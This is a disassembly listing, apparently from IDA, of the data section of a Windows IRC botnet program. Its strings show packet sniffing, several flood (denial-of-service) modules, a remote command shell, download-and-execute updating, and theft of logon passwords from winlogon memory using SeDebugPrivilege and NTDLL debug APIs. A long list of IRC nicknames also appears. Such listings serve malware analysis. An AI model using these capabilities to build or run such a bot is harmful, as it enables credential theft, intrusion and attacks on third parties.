aOpenssh_2	db 'OpenSSH_2',0        ; DATA XREF: sub_413187+51o
		align 4
aServUFtpServer	db 'Serv-U FTP Server',0 ; DATA XREF: sub_413187:loc_4131C7o
		align 4
aOpenssl0_9_6	db 'OpenSSL/0.9.6',0    ; DATA XREF: sub_413187+2Bo
		align 4
aVulnSniff	db 'VULN sniff',0       ; DATA XREF: sub_413187+5o
		align 4
unk_437734	db  2Dh	; -		; DATA XREF: sub_4131EC+3ECo
		db 3, 34h, 2
		db  73h	; s
		db 6Eh,	69h, 66h
		db  66h	; f
		db 65h,	72h, 2
		db    3
aVulnSniffSDToS	db '- VULN sniff "%s:%d" to "%s:%d": - "%s"',0
		align 4
unk_43776C	db  2Dh	; -		; DATA XREF: sub_4131EC+382o
		db 3, 34h, 2
		db  73h	; s
		db 6Eh,	69h, 66h
		db  66h	; f
		db 65h,	72h, 2
		db    3
aHttpSniffSDToS	db '- HTTP sniff "%s:%d" to "%s:%d": - "%s"',0
		align 4
unk_4377A4	db  2Dh	; -		; DATA XREF: sub_4131EC+351o
		db 3, 34h, 2
		db  73h	; s
		db 6Eh,	69h, 66h
		db  66h	; f
		db 65h,	72h, 2
		db    3
aFtpSniffSDToSD	db '- FTP sniff "%s:%d" to "%s:%d": - "%s"',0
unk_4377D8	db  2Dh	; -		; DATA XREF: sub_4131EC+31Bo
		db 3, 34h, 2
		db  73h	; s
		db 6Eh,	69h, 66h
		db  66h	; f
		db 65h,	72h, 2
		db    3
aIrcSniffSDToSD	db '- IRC sniff "%s:%d" to "%s:%d": - "%s"',0
unk_43780C	db  2Dh	; -		; DATA XREF: sub_4131EC+2E2o
		db 3, 34h, 2
		db  73h	; s
		db 6Eh,	69h, 66h
		db  66h	; f
		db 65h,	72h, 2
		db    3
aBotSniffSDToSD	db '- Bot sniff "%s:%d" to "%s:%d": - "%s"',0
unk_437840	db  2Dh	; -		; DATA XREF: sub_4131EC+14Bo
		db 3, 34h, 2
		db  73h	; s
		db 6Eh,	69h, 66h
		db  66h	; f
		db 65h,	72h, 2
		db    3
aWsaioctlFailed	db '- WSAIoctl() failed, returned %d',0
		align 10h
unk_437870	db  2Dh	; -		; DATA XREF: sub_4131EC+C5o
		db 3, 34h, 2
		db  73h	; s
		db 6Eh,	69h, 66h
		db  66h	; f
		db 65h,	72h, 2
		db    3
aBindFailedRetu	db '- bind() failed, returned %d',0
		align 4
		db  2Dh	; -
		db 3, 34h, 2
		db  64h	; d
		db 64h,	6Fh, 73h
		db    2
		db 3, 2Dh, 20h
aDoneWithFloodA	db 'done with flood at %iKB/sec',0
dword_4378C4	dd 234032Dh, 736F6464h,	202D0302h, 646E6573h, 72726520h
					; DATA XREF: sub_413694+302o
		dd 203A726Fh, 6425h, 234032Dh, 706D6369h, 202D0302h, 656E6F64h
		dd 74697720h, 73252068h, 6F6C6620h, 7420646Fh, 7325206Fh
		dd 6573202Eh, 2520746Eh, 61702064h, 74656B63h, 20402073h
		dd 424B6425h, 6365732Fh, 64252820h, 2E29424Dh, 0
		dd 234032Dh, 706D6369h,	202D0302h, 6F727265h, 65732072h
		dd 6E69646Eh, 61702067h, 74656B63h, 6F742073h, 2E732520h
		dd 20642520h, 6B636170h, 20737465h, 746E6573h, 6572202Ch
		dd 6E727574h, 25206465h, 64h, 234032Dh,	706D6369h, 202D0302h
		dd 61766E69h, 2064696Ch, 67726174h, 69207465h, 70h, 234032Dh
		dd 706D6369h, 202D0302h, 73746573h, 6F6B636Fh, 29287470h
		dd 69616620h, 2C64656Ch, 74657220h, 656E7275h, 64252064h
		dd 0
		dd 234032Dh, 706D6369h,	202D0302h, 6B636F73h, 29287465h
		dd 69616620h, 2C64656Ch, 74657220h, 656E7275h, 64252064h
		dd 0
		dd 234032Dh, 676E6970h,	202D0302h, 696E6966h, 64656873h
		dd 6E657320h, 676E6964h, 6E697020h, 74207367h, 7325206Fh
		dd 0
		dd 234032Dh, 676E6970h,	202D0302h, 6F727265h, 65732072h
		dd 6E69646Eh, 69702067h, 2073676Eh, 25206F74h, 73h, 234032Dh
		dd 2706475h, 66202D03h,	73696E69h, 20646568h, 646E6573h
		dd 20676E69h, 6B636170h, 20737465h, 25206F74h, 73h, 234032Dh
		dd 2706475h, 65202D03h,	726F7272h, 6E657320h, 676E6964h
		dd 63617020h, 7374656Bh, 206F7420h, 7325h, 234032Dh, 73796B73h
		dd 3026E79h, 6F44202Dh,	7720656Eh, 20687469h, 6F6F6C66h
		dd 25282064h, 2F424B69h, 29636573h, 0
		db  2Dh	; -
		db 3, 34h, 2
		db  73h	; s
		db 79h,	6Eh, 2
		db    3
aDoneWithFloodI	db '- Done with flood (%iKB/sec).',0
		align 4
dword_437AEC	dd 234032Dh, 26E7973h, 53202D03h, 20646E65h, 6F727265h
					; DATA XREF: sub_4143F7+27Do
		dd 3C203A72h, 2E3E6425h, 0
		dd 234032Dh, 67726174h,	3023361h, 6F44202Dh, 7720656Eh
		dd 20687469h, 6F6F6C66h, 2E64h,	234032Dh, 2706374h, 44202D03h
		dd 20656E6Fh, 68746977h, 20732520h, 6F6F6C66h, 6F742064h
		dd 3A504920h, 2E732520h, 6E655320h, 25203A74h, 61702064h
		dd 74656B63h, 20297328h, 64252040h, 732F424Bh, 28206365h
		dd 424D6425h, 2E29h, 234032Dh, 2706374h, 45202D03h, 726F7272h
		dd 6E657320h, 676E6964h, 63617020h, 7374656Bh, 206F7420h
		dd 203A5049h, 202E7325h, 6B636150h, 20737465h, 746E6573h
		dd 6425203Ah, 6552202Eh, 6E727574h, 203A6465h, 3E64253Ch
		dd 2Eh,	234032Dh, 2706374h, 49202D03h, 6C61766Eh, 74206469h
		dd 65677261h, 50492074h, 2Eh, 234032Dh,	2706374h, 45202D03h
		dd 726F7272h, 6573203Ah, 636F7374h, 74706F6Bh, 66202928h
		dd 656C6961h, 72202C64h, 72757465h, 3A64656Eh, 64253C20h
		dd 2E3Eh, 234032Dh, 2706374h, 45202D03h, 726F7272h, 6F73203Ah
		dd 74656B63h, 66202928h, 656C6961h, 72202C64h, 72757465h
		dd 3A64656Eh, 64253C20h, 2E3Eh,	234032Dh, 6E757374h, 2696D61h
		dd 44202D03h, 20656E6Fh, 68746977h, 6F6C6620h, 202C646Fh
		dd 70206425h, 656B6361h, 73207374h, 2E746E65h, 0
		dd 234032Dh, 64736977h,	75286D6Fh, 2297064h, 53202D03h
		dd 74726174h, 20676E69h, 64736957h, 73206D6Fh, 666F6F70h
		dd 55206465h, 66205044h, 646F6F6Ch, 72687420h, 2E646165h
		dd 0
		dd 234032Dh, 64736977h,	75286D6Fh, 2297064h, 45202D03h
		dd 726F7272h, 6E657320h, 676E6964h, 63617020h, 7374656Bh
		dd 206F7420h, 202E7325h, 3D786165h, 4B434F53h, 455F5445h
		dd 524F5252h, 5357202Ch, 74654741h, 7473614Ch, 6F727245h
		dd 3D292872h, 202E6425h, 657A6973h, 6228666Fh, 65666675h
		dd 3D202972h, 2E642520h, 63615020h, 7374656Bh, 6E657320h
		dd 75732074h, 73736563h, 6C6C7566h, 203D2079h, 2E6425h
		dd 234032Dh, 64736977h,	75286D6Fh, 2297064h, 46202D03h
		dd 73696E69h, 20646568h, 646E6573h, 20676E69h, 6B636170h
		dd 20737465h, 25206F74h, 53202E73h, 20746E65h, 70206425h
		dd 656B6361h, 29732874h, 257E202Eh, 20424D64h, 6420666Fh
		dd 20617461h, 746E6573h, 257E2820h, 732F4B64h, 2E29h, 234032Dh
		dd 64736977h, 75286D6Fh, 2297064h, 53202D03h, 69646E65h
		dd 7020676Eh, 656B6361h, 74207374h, 7325206Fh, 2E2E2Eh
		dd 234032Dh, 64736977h,	75286D6Fh, 2297064h, 49202D03h
		dd 6C61766Eh, 74206469h, 65677261h, 50492074h, 5357202Eh
		dd 74654741h, 7473614Ch, 6F727245h, 20292872h, 75746572h
		dd 20736E72h, 2E6425h, 234032Dh, 64736977h, 75286D6Fh
		dd 2297064h, 45202D03h,	726F7272h, 6C616320h, 676E696Ch
		dd 74657320h, 6B636F73h, 2874706Fh, 57202E29h, 65474153h
		dd 73614C74h, 72724574h, 2928726Fh, 74657220h, 736E7275h
		dd 2E642520h, 0
		db  2Dh	; -
		db 3, 34h, 2
		db  77h	; w
		db 69h,	73h, 64h
		db  6Fh	; o
		db 6Dh,	28h, 75h
		db  64h	; d
		db 70h,	29h, 2
		db    3
aErrorCallingSo	db '- Error calling socket().',0
		align 4
		db  2Dh	; -
		db 3, 34h, 2
		db  77h	; w
		db 6Fh,	6Eh, 6Bh
		db    2
		db 3, 2Dh, 20h
aDoneWithFloodP	db 'Done with flood, ports hit: %s',0
		align 4
aSD		db '%s%d ',0
		align 4
dword_437EDC	dd 202E6425h, 73253403h, 203D2003h, 73253703h, 3 ; DATA	XREF: sub_415CC0+35o
dword_437EF0	dd 234032Dh, 61696C61h,	696C2073h, 3027473h, 2Dh ; DATA	XREF: sub_415CC0+10o
a_2d_2d4d_2d_2d	db '[%.2d-%.2d-%4d %.2d:%.2d:%.2d] %s',0 ; DATA XREF: sub_415D38+60o
		align 4
dword_437F28	dd 234032Dh, 3676F6Ch, 43202D02h, 7261656Ch, 2E6465h
					; DATA XREF: sub_415DD8:loc_415E0Do
dword_437F3C	dd 234032Dh, 2676F6Ch, 63202D03h, 7261656Ch, 6465h
					; DATA XREF: sub_415DD8+20o
dword_437F50	dd 234032Dh, 2676F6Ch, 6C202D03h, 20747369h, 706D6F63h
					; DATA XREF: ___:00415F27o
		dd 6574656Ch, 0
dword_437F6C	dd 234032Dh, 2676F6Ch, 6C202D03h, 20747369h, 72617473h
					; DATA XREF: ___:00415E8Ao
		dd 676E6974h, 0
		db  2Dh	; -
		db 3, 34h, 2
		db  64h	; d
		db 2 dup(63h), 2
		db    3
aFailedToSendTo	db '- failed to send to Remote command shell',0
		align 4
		db  2Dh	; -
		db 3, 34h, 2
		db  64h	; d
		db 2 dup(63h), 2
		db    3
aFailedToOpenRe	db '- failed to open remote command shell',0
		align 4
unk_437FEC	db  2Dh	; -		; DATA XREF: ___:004162BEo
		db 3, 34h, 2
		db  64h	; d
		db 2 dup(63h), 2
		db    3
aFailedToOpenSo	db '- failed to open socket',0
		align 10h
dword_438010	dd 234032Dh, 2636364h, 73202D03h, 656B636Fh, 72652074h
					; DATA XREF: ___:00416523o
					; ___:004166B9o
		dd 726F72h
unk_438028	db  2Dh	; -		; DATA XREF: ___:004164BBo
		db 3, 34h, 2
		db  64h	; d
		db 2 dup(63h), 2
		db    3
aFileSSentToSSB	db '- file %s sent to %s (%s bytes).',0
		align 4
unk_438054	db  2Dh	; -		; DATA XREF: ___:004163C3o
		db 3, 34h, 2
		db  64h	; d
		db 2 dup(63h), 2
		db    3
aUnableToOpenSo	db '- unable to open socket',0
		align 4
dword_438078	dd 234032Dh, 2636364h, 73202D03h, 20646E65h, 656D6974h
					; DATA XREF: ___:0041638Co
		dd 74756Fh
dword_438090	dd 43434401h, 4E455320h, 73252044h, 20692520h, 25206925h
					; DATA XREF: ___:0041632Bo
		dd 169h
unk_4380A8	db  2Dh	; -		; DATA XREF: ___:004162E8o
		db 3, 34h, 2
		db  64h	; d
		db 2 dup(63h), 2
		db    3
aFileDoesnTExis	db '- file doesn',27h,'t exist',0
		align 4
unk_4380C8	db  2Dh	; -		; DATA XREF: ___:00416243o
		db 3, 34h, 2
		db  64h	; d
		db 2 dup(63h), 2
		db    3
aFailedToBindTo	db '- failed to bind to socket',0
unk_4380EC	db  2Dh	; -		; DATA XREF: ___:00416205o
		db 3, 34h, 2
		db  64h	; d
		db 2 dup(63h), 2
		db    3
aFailedToCrea_2	db '- failed to create socket',0
		align 10h
unk_438110	db  2Dh	; -		; DATA XREF: ___:00416734o
		db 3, 34h, 2
		db  64h	; d
		db 2 dup(63h), 2
		db    3
aReceivedSFromS	db '- received %s from %s (%s bytes).',0
		align 4
unk_43813C	db  2Dh	; -		; DATA XREF: ___:0041662Eo
		db 3, 34h, 2
		db  64h	; d
		db 2 dup(63h), 2
		db    3
aErrorOpeningSo	db '- error opening socket',0
unk_43815C	db  2Dh	; -		; DATA XREF: ___:0041660Eo
		db 3, 34h, 2
		db  64h	; d
		db 2 dup(63h), 2
		db    3
aErrorOpeningFi	db '- error opening file for writing',0
		align 4
aAB		db 'a+b',0              ; DATA XREF: ___:004165FAo
unk_43818C	db  2Dh	; -		; DATA XREF: ___:004165E6o
		db 3, 34h, 2
		db  64h	; d
		db 2 dup(63h), 2
		db    3
aErrorUnableToW	db '- error unable to write file to disk',0
		align 4
unk_4381BC	db  2Dh	; -		; DATA XREF: ___:00416C33o
		db 3, 34h, 2
		db  64h	; d
		db 6Fh,	77h, 6Eh
		db  6Ch	; l
		db 6Fh,	61h, 64h
		db    2
		db 3, 2Dh, 20h
aBadUrlOrDnsErr	db 'bad url or dns error at %s.',0
unk_4381E8	db  2Dh	; -		; DATA XREF: ___:00416C25o
		db 3, 34h, 2
		db  64h	; d
		db 6Fh,	77h, 6Eh
		db  6Ch	; l
		db 6Fh,	61h, 64h
		db    2
		db 3, 2Dh, 20h
aUpdateFailedEr	db 'update failed, error executing %s',0
		align 4
unk_43821C	db  2Dh	; -		; DATA XREF: ___:00416B69o
		db 3, 34h, 2
		db  64h	; d
		db 6Fh,	77h, 6Eh
		db  6Ch	; l
		db 6Fh,	61h, 64h
		db    2
		db 3, 2Dh, 20h
aDownloaded_1fk	db 'downloaded %.1fKB to %s @ %.1fKB/sec, updating bot',0
		align 10h
dword_438260	dd 234032Dh, 6E776F64h,	64616F6Ch, 202D0302h, 6E65706Fh
					; DATA XREF: ___:00416AF8o
		dd 25206465h, 73h
unk_43827C	db  2Dh	; -		; DATA XREF: ___:00416A81o
		db 3, 34h, 2
		db  64h	; d
		db 6Fh,	77h, 6Eh
		db  6Ch	; l
		db 6Fh,	61h, 64h
		db    2
		db 3, 2Dh, 20h
aDownloaded_1fK	db 'downloaded %.1f KB to %s @ %.1f KB/sec',0
		align 4
unk_4382B4	db  2Dh	; -		; DATA XREF: ___:00416A02o
		db 3, 34h, 2
		db  64h	; d
		db 6Fh,	77h, 6Eh
		db  6Ch	; l
		db 6Fh,	61h, 64h
		db    2
		db 3, 2Dh, 20h
aWrongCrcDD_	db 'wrong crc (%d != %d).',0
		align 4
unk_4382DC	db  2Dh	; -		; DATA XREF: ___:00416978o
		db 3, 34h, 2
		db  64h	; d
		db 6Fh,	77h, 6Eh
		db  6Ch	; l
		db 6Fh,	61h, 64h
		db    2
		db 3, 2Dh, 20h
aWrongFilesizeD	db 'wrong filesize (%d != %d).',0
		align 4
unk_438308	db  2Dh	; -		; DATA XREF: ___:00416935o
		db 3, 34h, 2
		db  64h	; d
		db 6Fh,	77h, 6Eh
		db  6Ch	; l
		db 6Fh,	61h, 64h
		db    2
		db 3, 2Dh, 20h
aGotUpdateSDkb_	db 'got update %s (%dKB).',0
		align 10h
unk_438330	db  2Dh	; -		; DATA XREF: ___:00416923o
		db 3, 34h, 2
		db  64h	; d
		db 6Fh,	77h, 6Eh
		db  6Ch	; l
		db 6Fh,	61h, 64h
		db    2
		db 3, 2Dh, 20h
aDownloadedSDkb	db 'downloaded %s (%dKB)',0
		align 4
unk_438358	db  2Dh	; -		; DATA XREF: ___:00416817o
		db 3, 34h, 2
		db  64h	; d
		db 6Fh,	77h, 6Eh
		db  6Ch	; l
		db 6Fh,	61h, 64h
		db    2
		db 3, 2Dh, 20h
aCouldnTOpenF_0	db 'couldn',27h,'t open file: %s',0
		align 10h
aUnknown	db 'Unknown',0          ; DATA XREF: sub_416D48:loc_416D8Bo
					; sub_419443+10Ao
aInvalid	db 'Invalid',0          ; DATA XREF: sub_416D48:loc_416D85o
aDisk		db 'Disk',0             ; DATA XREF: sub_416D48:loc_416D7Fo
		align 4
aNetwork	db 'Network',0          ; DATA XREF: sub_416D48:loc_416D79o
aCdrom		db 'Cdrom',0            ; DATA XREF: sub_416D48:loc_416D73o
		align 4
off_4383A8	dd offset word_4D4152	; DATA XREF: sub_416D48:loc_416D6Do
word_4383AC	dw 3Fh			; DATA XREF: sub_416D48+1Fo
					; sub_41AF8F:loc_41B091r
		align 10h
aFailed		db 'failed',0           ; DATA XREF: sub_416DD9:loc_416EB7o
					; sub_416EFD+3Bo
		align 4
aSkb		db '%sKB',0             ; DATA XREF: sub_416DD9+6Co
		align 10h
unk_4383C0	db  2Dh	; -		; DATA XREF: sub_416EFD+8Eo
		db 3, 34h, 2
		db  6Dh	; m
		db 61h,	69h, 6Eh
		db    2
		db 3, 2Dh, 20h
aSDriveSSTotalS	db '%s drive (%s): %s total, %s free, %s available',0
		align 4
unk_4383FC	db  2Dh	; -		; DATA XREF: sub_416EFD+58o
		db 3, 34h, 2
		db  6Dh	; m
		db 61h,	69h, 6Eh
		db    2
		db 3, 2Dh, 20h
aSDriveSFailedT	db '%s drive (%s): failed to stat, device not ready',0
off_438438	dd offset byte_5C3A41	; DATA XREF: sub_416FCF:loc_417014o
		db  2Dh	; -
		db 3, 34h, 2
		db  66h	; f
		db 69h,	6Eh, 64h
		db  66h	; f
		db 69h,	6Ch, 65h
		db    2
		db 3, 2Dh, 20h
		db  66h	; f
		db 6Fh,	75h, 6Eh
		db  64h	; d
		db 20h,	25h, 64h
		db  20h
aFiles		db 'files',0
		align 4
		db  2Dh	; -
		db 3, 34h, 2
		db  66h	; f
		db 69h,	6Eh, 64h
		db  66h	; f
		db 69h,	6Ch, 65h
		db    2
		db 3, 2Dh, 20h
aSearchingFor_0	db 'searching for file %s',0
		align 4
		dd 234032Dh, 646E6966h,	656C6966h, 202D0302h, 6E756F66h
		dd 73252064h, 73255Ch, 2A5C7325h, 0
unk_4384A8	db  2Dh	; -		; DATA XREF: sub_4172C1:loc_41743Ao
		db 3, 34h, 2
		db  66h	; f
		db 69h,	6Eh, 64h
		db  70h	; p
		db 61h,	2 dup(73h)
		db    2
		db 3, 2Dh, 20h
aFailedToEnable	db 'failed to enable debug privilege',0
		align 4
unk_4384DC	db  2Dh	; -		; DATA XREF: sub_4172C1:loc_41740Do
		db 3, 34h, 2
		db  66h	; f
		db 69h,	6Eh, 64h
		db  70h	; p
		db 61h,	2 dup(73h)
		db    2
		db 3, 2Dh, 20h
aUnableToFindWi	db 'unable to find winlogon pid',0
unk_438508	db  2Dh	; -		; DATA XREF: sub_4172C1:loc_417406o
		db 3, 34h, 2
		db  66h	; f
		db 69h,	6Eh, 64h
		db  70h	; p
		db 61h,	2 dup(73h)
		db    2
		db 3, 2Dh, 20h
aUnableToFindTh	db 'unable to find the password in memory',0
		align 10h
unk_438540	db  2Dh	; -		; DATA XREF: sub_4172C1+117o
		db 3, 34h, 2
		db  66h	; f
		db 69h,	6Eh, 64h
		db  70h	; p
		db 61h,	2 dup(73h)
		db    2
		db 3, 2Dh, 20h
		db  57h	; W
		db 69h,	6Eh, 4Ch
		db  6Fh	; o
		db 67h,	6Fh, 6Eh
		db  20h
		db 49h,	6Eh, 66h
		db  6Fh	; o
		db 72h,	6Dh, 61h
		db  74h	; t
		db 69h,	6Fh, 6Eh
		db  20h
		db 28h,	50h, 49h
		db  44h	; D
		db 20h,	25h, 64h
		db  29h	; )
		db 20h,	2Dh, 20h
		db    2
		db 44h,	6Fh, 6Dh
		db  61h	; a
		db 69h,	6Eh, 2
		db  3Ah	; :
		db 20h,	2 dup(5Ch)
		db  25h	; %
		db 53h,	2Ch, 20h
		db    2
		db 55h,	73h, 65h
		db  72h	; r
		db 2, 3Ah, 20h
aSNoPassword_	db '(%S/(no password)).',0
off_43859C	dd offset a_JqU0DxN	; DATA XREF: sub_4172C1+DCo
					; "ы.$├÷ [·0╩dXв\"n"
		dd offset byte_520045
		dd offset dword_4F0044
		dd offset loc_41004C+1
		dd offset byte_4E0049
		dd 0
off_4385B4	dd offset a_JqU0DxN	; DATA XREF: sub_4172C1+CEo
					; "ы.$├÷ [·0╩dXв\"n"
		dd offset byte_520045
		dd offset loc_41004C+2
		dd offset byte_45004D
		align 8
aRtlrundecodeun	db 'RtlRunDecodeUnicodeString',0 ; DATA XREF: sub_4172C1+9Ao
		align 4
aRtldestroyquer	db 'RtlDestroyQueryDebugBuffer',0 ; DATA XREF: sub_4172C1+8Do
		align 10h
aRtlqueryproces	db 'RtlQueryProcessDebugInformation',0 ; DATA XREF: sub_4172C1+80o
aRtlcreatequery	db 'RtlCreateQueryDebugBuffer',0 ; DATA XREF: sub_4172C1+73o
		align 4
aNtquerysystemi	db 'NtQuerySystemInformation',0 ; DATA XREF: sub_4172C1+68o
		align 4
aNtdll_dll	db 'NTDLL.DLL',0        ; DATA XREF: sub_4172C1+55o
		align 4
aSedebugprivile	db 'SeDebugPrivilege',0 ; DATA XREF: sub_4172C1+40o
					; sub_4172C1+161o ...
		align 4
unk_438678	db  2Dh	; -		; DATA XREF: sub_4172C1+35o
		db 3, 34h, 2
		db  66h	; f
		db 69h,	6Eh, 64h
		db  70h	; p
		db 61h,	2 dup(73h)
		db    2
		db 3, 2Dh, 20h
aOnlySupportedO	db 'only supported on winnt/win2k',0
		align 4
aMsgina		db 'MSGINA',0           ; DATA XREF: sub_417493+13Eo
		align 10h
aNwgina		db 'NWGINA',0           ; DATA XREF: sub_417493+123o
		align 4
aWinlogon	db 'WINLOGON',0         ; DATA XREF: sub_417493+AFo
		align 4
dword_4386C4	dd 234032Dh, 646E6966h,	73736170h, 202D0302h, 4C6E6957h
					; DATA XREF: sub_4178F9+70o
					; sub_417990+C7o
		dd 6E6F676Fh, 666E4920h, 616D726Fh, 6E6F6974h, 49502820h
		dd 64252044h, 202D2029h, 6D6F4402h, 26E6961h, 5C5C203Ah
		dd 202C5325h, 65735502h, 203A0272h, 2F532528h, 295325h
dword_438714	dd 234032Dh, 646E6966h,	73736170h, 202D0302h, 4C6E6957h
					; DATA XREF: sub_417990+E1o
		dd 6E6F676Fh, 666E4920h, 616D726Fh, 6E6F6974h, 49502820h
		dd 64252044h, 202D2029h, 6D6F4402h, 26E6961h, 5C5C203Ah
		dd 202C5325h, 65735502h, 203A0272h, 2F532528h, 412F4E28h
		dd 2929h
off_438768	dd offset aQ		; DATA XREF: sub_417E84+5Cr
					; "q"
; ---------------------------------------------------------------------------
		sbb	[ebx-4E77FFBDh], dl
		inc	edx
		add	[eax+1C0042C6h], ah
		mov	byte ptr [edx+0], 14h
		xchg	eax, ebx
		inc	ebx
		add	al, dl
		scasd
		inc	edx
		add	[eax-3Ah], dh
		inc	edx
		add	[edi+ebp*4-4DE7FFBEh], ch
		inc	edx
		add	[eax-3Ah], bh
		inc	edx
		add	[eax], dl
		xchg	eax, ebx
		inc	ebx
		add	[ebx+edx*4], cl
		inc	ebx
		add	[eax], cl
		xchg	eax, ebx
		inc	ebx
		add	[ebx+edx*4], al
		inc	ebx
		add	[edi+esi*4+42h], bh
		add	ah, ch
		retf	42h
; ---------------------------------------------------------------------------
		dd offset dword_439300
; ---------------------------------------------------------------------------
		cld
		xchg	eax, edx
		inc	ebx
		add	al, bh
		xchg	eax, edx
		inc	ebx
		add	al, dh
		retf	42h
; ---------------------------------------------------------------------------
		dd offset aV		; "v"
		dd offset dword_4392F4
		dd offset aN		; "n"
		dd offset aM		; "m"
		dd offset dword_4392F0
		dd offset dword_4392EC
		dd offset dword_4392E8
		dd offset dword_4392E4
		dd offset dword_4392E0
		dd offset word_4392DC
		dd offset dword_4392D8
		dd offset aI_0		; "I"
		dd offset dword_4392D4
		dd offset dword_4392D0
		dd offset aA_0		; "A"
		dd offset dword_4392CC
		dd offset dword_4392C8
		dd offset dword_4392C4
		dd offset dword_4392C0
		dd offset dword_4392BC
		dd offset dword_4392B8
		dd offset dword_4392B4
		dd offset dword_4392B0
		dd offset dword_4392AC
		dd offset dword_4392A8
		dd offset dword_4392A4
		dd offset dword_4392A0
		dd offset dword_43929C
		dd offset word_439298
		dd offset aM_0		; "M"
		dd offset aSmartmir	; "SMARTMIR"
		dd offset aFarooq	; "farooq"
		dd offset aMaxxguy	; "maxxguy"
		dd offset aBobmarley	; "BOBMARLEY"
		dd offset aEmilya	; "emilya"
		dd offset aKrizha	; "KRIZHA"
		dd offset aCar1nna	; "Car1nna"
		dd offset aSwin		; "swin"
		dd offset aMale		; "male"
		dd offset aKoko		; "koko"
		dd offset aFlexster	; "flexster"
		dd offset aKen		; "ken"
		dd offset aShez		; "Shez"
		dd offset aTalika	; "talika"
		dd offset aMarcy	; "marcy"
		dd offset aCme		; "cme"
		dd offset aHeval	; "heval"
		dd offset aBunty	; "bunty"
		dd offset aJanno	; "janno"
		dd offset aRimpy	; "rimpy"
		dd offset aNastysha	; "nastysha"
		dd offset aLuisa	; "Luisa"
		dd offset aTroller	; "troller"
		dd offset aManee	; "manee"
		dd offset aKermit	; "kermit"
		dd offset aPuregold	; "puregold"
		dd offset aCoredump	; "CoreDump"
		dd offset aImra		; "imra"
		dd offset aGirl		; "GirL"
		dd offset aCamel	; "CAMEL"
		dd offset aReshma	; "reshma"
		dd offset aKencing	; "Kencing"
		dd offset aThr45h3r5	; "THR45H3R5"
		dd offset aCansuuuu	; "cansuuuu"
		dd offset aKaan38dent	; "kaan38dent"
		dd offset aErkan27	; "erkan27"
		dd offset aHexaaa	; "hexaaa"
		dd offset aBerk19	; "berk19"
		dd offset aObenibisevse	; "OBeNiBiSeVSe"
		dd offset aIrmal	; "irmal"
		dd offset aMisssunday	; "misssunday"
		dd offset aTolga34	; "Tolga34"
		dd offset aJericho	; "JERICHO"
		dd offset aMary_0	; "MARY"
		dd offset aAkin		; "AKIN"
		dd offset aMelekk	; "melekk"
		dd offset aTrend3	; "trend3"
		dd offset aMERVE	; "M-E-R-V-E"
		dd offset aTekir	; "tekir"
		dd offset aVenedik34	; "venedik34"
		dd offset aSevmekmi	; "sevmekmi"
		dd offset aSudenur	; "SUDENUR"
		dd offset aArzu		; "ARZU"
		dd offset aHaticem	; "haticem"
		dd offset aErnesto	; "ERNESTO"
		dd offset aAslii	; "aslii"
		dd offset aPiramit	; "PIRAMIT"
		dd offset aSamyeli21	; "samyeli21"
		dd offset aRetg		; "RETG"
		dd offset aBlackpearl	; "blackpearl"
		dd offset aPelincik	; "pelincik"
		dd offset aAhmet	; "ahmet"
		dd offset aTurkyy	; "turkyy"
		dd offset aAnk32m	; "ank32m"
		dd offset aZack		; "ZACK"
		dd offset aIzmir39m	; "Izmir39m"
		dd offset aAlbina	; "albina"
		dd offset dword_439030
		dd offset off_43902C
		dd offset aAnkh		; "ankh"
		dd offset aDonjuanm	; "Donjuanm"
		dd offset aBogac	; "bogac"
		dd offset aAlpay34m	; "alpay34m"
		dd offset aCongueror	; "CoNGuERoR"
		dd offset aDenizlim	; "DenizliM"
		dd offset aBerk19m	; "Berk19m"
		dd offset aDevran	; "devran"
		dd offset aArda		; "arda"
		dd offset aKeyiflisert	; "keyifliSERT"
		dd offset aMurat34M	; "murat34-m"
		dd offset aHakan3	; "hakan3"
		dd offset aImirzali	; "IMIRZALI--"
		dd offset aRamtha	; "RAMTHA"
		dd offset aEmre		; "Emre--"
		dd offset aElmaazyok	; "elmaazyok"
		dd offset aEsmerkiz	; "Esmerkiz"
		dd offset aKebikec	; "kebikec"
		dd offset aFlord	; "FLoRD"
		dd offset aHoly		; "holy"
		dd offset aMahinur	; "MAHINUR"
		dd offset aSadikaellesme ; "SaDIkaEllesme"
		dd offset aAykut1	; "aykut1"
		dd offset aKashmira	; "Kashmira"
		dd offset aSeviseli	; "SeViSeLi"
		dd offset aSugarboy	; "SUGARBOY-"
		dd offset aUzgun36	; "uzgun36"
		dd offset aKumul	; "kumul"
		dd offset aAdalim	; "ADALIM"
		dd offset aUmut		; "umut-"
		dd offset aAnk32M	; "ANK-32-M"
		dd offset aDjspace	; "DJSPACE"
		dd offset aAnkar	; "Ankar"
		dd offset aFenerlee	; "FeNeRLee"
		dd offset aHayran	; "hayran"
		dd offset aAngelgirl	; "angelgirl"
		dd offset aKapk		; "kapk"
		dd offset aAchilles	; "Achilles"
		dd offset aTegmen	; "TEGMEN"
		dd offset aKotan	; "kotan"
		dd offset aSevda	; "sevda"
		dd offset off_438E98
		dd offset aAlcatras	; "alcatras"
		dd offset aA44m		; "a44m"
		dd offset aBirsen	; "birsen"
		dd offset aYabanc	; "yabanc"
		dd offset aDevre	; "devre"
		dd offset aErkan	; "erkan"
		dd offset aAnkm		; "ankM"
		dd offset aAdem28	; "Adem28"
		dd offset aMaxsilla	; "maxsilla"
		dd offset aM41ist	; "M41IST"
		dd offset aAdamm33	; "AdAMM33"
		dd offset aFirtina	; "firtina"
		dd offset aAta29	; "Ata29"
		dd offset aKoray	; "KORAY"
		dd offset aAkden	; "akden"
		dd offset aIzmirlm	; "izmirlm"
		dd offset aUla		; "ula"
		dd offset aNeHaber	; "NE-HABER"
		dd offset aPassenger	; "passenger"
		dd offset aTropikal	; "tropikal"
		dd offset aCool30m	; "cool30m"
		dd offset aCem39	; "cem39"
		dd offset aRerpjj	; "RERPJJ"
		dd offset aTeoman	; "TEOMAN```"
		dd offset aDallas43m	; "DALLAS43M"
		dd offset aPrometheus	; "prometheus"
		dd offset aMaveRIck	; "MaVe{R}icK"
		dd offset aAdamm	; "ADAMM"
		dd offset aCumhur29	; "cumhur29"
		dd offset aWantedlove	; "WANTEDLOVE"
off_438A68	dd offset aSex		; DATA XREF: sub_417E84+41r
					; sub_417E84+ECr
					; "sex"
		dd offset aLez		; "lez"
		dd offset aZex		; "zex"
		dd offset aTree		; "tree"
		dd offset aBad		; "bad"
; ---------------------------------------------------------------------------
		push	6000438Dh
		lea	eax, [ebx+0]
		pop	eax
		lea	eax, [ebx+0]
		push	eax
		lea	eax, [ebx+0]
		dec	eax
		lea	eax, [ebx+0]
		inc	eax
		lea	eax, [ebx+0]
